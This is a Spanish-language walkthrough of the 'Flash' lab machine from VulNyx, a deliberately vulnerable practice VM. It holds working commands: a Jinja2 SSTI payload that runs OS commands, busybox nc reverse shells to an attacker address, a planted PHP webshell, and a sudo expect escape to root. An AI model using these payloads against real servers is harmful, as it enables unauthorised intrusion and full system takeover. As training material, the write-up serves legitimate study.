Information

Flash es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

 nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 11:58 CEST
Nmap scan report for 192.168.1.130
Host is up (0.0011s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
 nmap -sVC -p22,80,8080 192.168.1.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 11:59 CEST
Nmap scan report for 192.168.1.130
Host is up (0.00037s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
8080/tcp open  http    Werkzeug httpd 2.3.4 (Python 3.9.2)
|_http-server-header: Werkzeug/2.3.4 Python/3.9.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Shell (randy)

80/TCP (HTTP)

Site

Directory Brute Force

 gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.130/ -x html,txt,php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.130/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 19]
Progress: 882180 / 882184 (100.00%)
===============================================================
Finished
===============================================================

8080/TCP (HTTP)

Site

Directory Brute Force

 gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.130:8080/ html,txt,php --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.130:8080/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================

Server Site Template Injection (SSTI)

En el nmap inicial se identificó que el servidor HTTP está basado en Python, lo que sugiere que podría tratarse de una aplicación desarrollada con Flask, la cual podría ser vulnerable a ataques relacionados con la inyección de plantillas (SSTI)

8080/tcp open  http    Werkzeug httpd 2.3.4 (Python 3.9.2)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/2.3.4 Python/3.9.2
Parameter Brute Force

Identifico el parámetro name vulnerable a Server Site Template Injection (SSTI) con el payload {{5*5}}

 wfuzz -c -w /opt/common.txt -u "http://192.168.1.130:8080/?FUZZ={{5*5}}" --hh=18 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.130:8080/?FUZZ=
Total requests: 4746

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                 
=====================================================================

000002812:   200        0 L      2 W        17 Ch       "name"                                                                                                                  

Total time: 7.355892
Processed Requests: 4746
Filtered Requests: 4745
Requests/sec.: 645.1970
Reverse Shell

Consigo ejecutar comandos como usuario randy

 echo -n '{{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}' | jq -sRr @uri | xclip -sel clip
 curl -sX GET 'http://192.168.1.130:8080/?name=%7B%7Brequest.application.__globals__.__builtins__.__import__%28%22os%22%29.popen%28%22id%22%29.read%28%29%7D%7D'
<h2>Love uid=1000(randy) gid=1000(randy) grupos=1000(randy)
!</h2>#

Ya ejecutando comandos intento obtener una reverse shell

 echo -n '{{request.application.__globals__.__builtins__.__import__("os").popen("busybox nc 192.168.1.5 443 -e /bin/sh").read()}}' | jq -sRr @uri | xclip -sel clip
 curl -sX GET 'http://192.168.1.130:8080/?name=%7B%7Brequest.application.__globals__.__builtins__.__import__%28%22os%22%29.popen%28%22busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh%22%29.read%28%29%7D%7D'

Obtengo la shell como usuario randy

 nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.130] 58480
id ; hostname
uid=1000(randy) gid=1000(randy) grupos=1000(randy)
flash

Shell (www-data)

Enumeration

Config Files

En el archivo de configuración de Nginx, se observa que solo interpreta código PHP desde el dominio loveyouuuuu.nyx

randy@flash:~$ grep -v "#" /etc/nginx/sites-available/default

server {
	listen 80 default_server;
	listen [::]:80 default_server;

	root /var/www/html;

	index index.html index.htm index.nginx-debian.html;

	server_name _;

	location / {
		try_files $uri $uri/ =404;
	}
}

server {
        listen 80;
        listen [::]:80;
        server_name loveyouuuuu.nyx;
        root /var/www/html;
        index index.html;
        location / {
                try_files $uri $uri/ =404;
        }
               location ~ \.php$ {
               include snippets/fastcgi-php.conf;
               fastcgi_pass unix:/run/php/php7.4-fpm.sock;
        }
}

Abuse

Creo una webshell PHP en la ruta /var/www/html

randy@flash:~$ echo -n '<?php system($_GET["cmd"]); ?>' > /var/www/html/cmd.php

Reverse Shell

Obtengo una shell como usuario www-data

 echo -n 'busybox nc 192.168.1.5 443 -e /bin/sh' | jq -sRr @uri | xclip -sel clip
 curl -sX GET -H "Host: loveyouuuuu.nyx" "http://192.168.1.130/cmd.php?cmd=busybox%20nc%20192.168.1.5%20443%20-e%20%2Fbin%2Fsh"
 nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.130] 35328
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
flash

Privilege Escalation

Enumeration

Sudo

El usuario www-data puede ejecutar como root el binario expect con sudo

www-data@flash:/$ sudo -l
Matching Defaults entries for www-data on flash:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on flash:
    (root) NOPASSWD: /usr/bin/expect

Abuse

En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario root

www-data@flash:/$ sudo -u root /usr/bin/expect -c 'spawn /bin/sh;interact'
spawn /bin/sh
# bash -i
root@flash:/# id ; hostname
uid=0(root) gid=0(root) groups=0(root)
flash

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@flash:/# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
3838****************************
bc73****************************

Hasta aquí la resolución de la máquina Flash.

Happy Hacking!